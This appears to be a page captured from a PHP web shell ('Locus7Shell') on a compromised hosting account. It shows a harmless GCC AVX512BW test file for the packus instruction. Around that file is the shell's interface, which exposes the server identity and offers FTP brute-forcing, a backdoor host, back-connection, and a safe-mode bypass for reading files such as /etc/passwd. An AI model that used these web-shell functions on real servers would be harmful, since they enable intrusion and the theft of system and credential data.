Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/i386/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     avx512bw-vpackuswb-2.c (1.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-O2 -mavx512bw" } */
/* { dg-require-effective-target avx512bw } */

#define AVX512BW
#include "avx512f-helper.h"

#define DST_SIZE (AVX512F_LEN / 8)
#define SRC_SIZE (AVX512F_LEN / 16)

#include "limits.h"

#include "avx512f-mask-type.h"

static unsigned char
EVAL(short_to_uchar, AVX512F_LEN,) (short iVal)
{
  unsigned char sVal;

  if (iVal < 0)
    sVal = 0;
  else if (iVal > UCHAR_MAX)
    sVal = UCHAR_MAX;
  else
    sVal = iVal;

  return sVal;
}

void
CALC (short *src1, short *src2, unsigned char *dst)
{
  int i;
  short *ptr;

  for (i = 0; i < DST_SIZE; i++)
    {
      ptr = (i / 8) % 2 ? src2 : src1;
      dst[i] = EVAL(short_to_uchar, AVX512F_LEN,) (ptr[i % 8 + (i / 16) * 8]);
    }
}

void
TEST (void)
{
  UNION_TYPE (AVX512F_LEN, i_w) s1, s2;
  UNION_TYPE (AVX512F_LEN, i_b) res1, res2, res3;
  MASK_TYPE mask = MASK_VALUE;
  unsigned char dst_ref[DST_SIZE];
  int i;

  for (i = 0; i < DST_SIZE; i++)
    res2.a[i] = DEFAULT_VALUE;

  for (i = 0; i < SRC_SIZE; i++)
    {
      s1.a[i] = i + 10;
      s2.a[i] = i + 15;
    }

  res1.x = INTRINSIC (_packus_epi16) (s1.x, s2.x);
  res2.x = INTRINSIC (_mask_packus_epi16) (res2.x, mask, s1.x, s2.x);
  res3.x = INTRINSIC (_maskz_packus_epi16) (mask, s1.x, s2.x);

  CALC (s1.a, s2.a, dst_ref);

  if (UNION_CHECK (AVX512F_LEN, i_b) (res1, dst_ref))
    abort ();

  MASK_MERGE (i_b) (dst_ref, mask, DST_SIZE);
  if (UNION_CHECK (AVX512F_LEN, i_b) (res2, dst_ref))
    abort ();

  MASK_ZERO (i_b) (dst_ref, mask, DST_SIZE);
  if (UNION_CHECK (AVX512F_LEN, i_b) (res3, dst_ref))
    abort ();

}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0064 ]--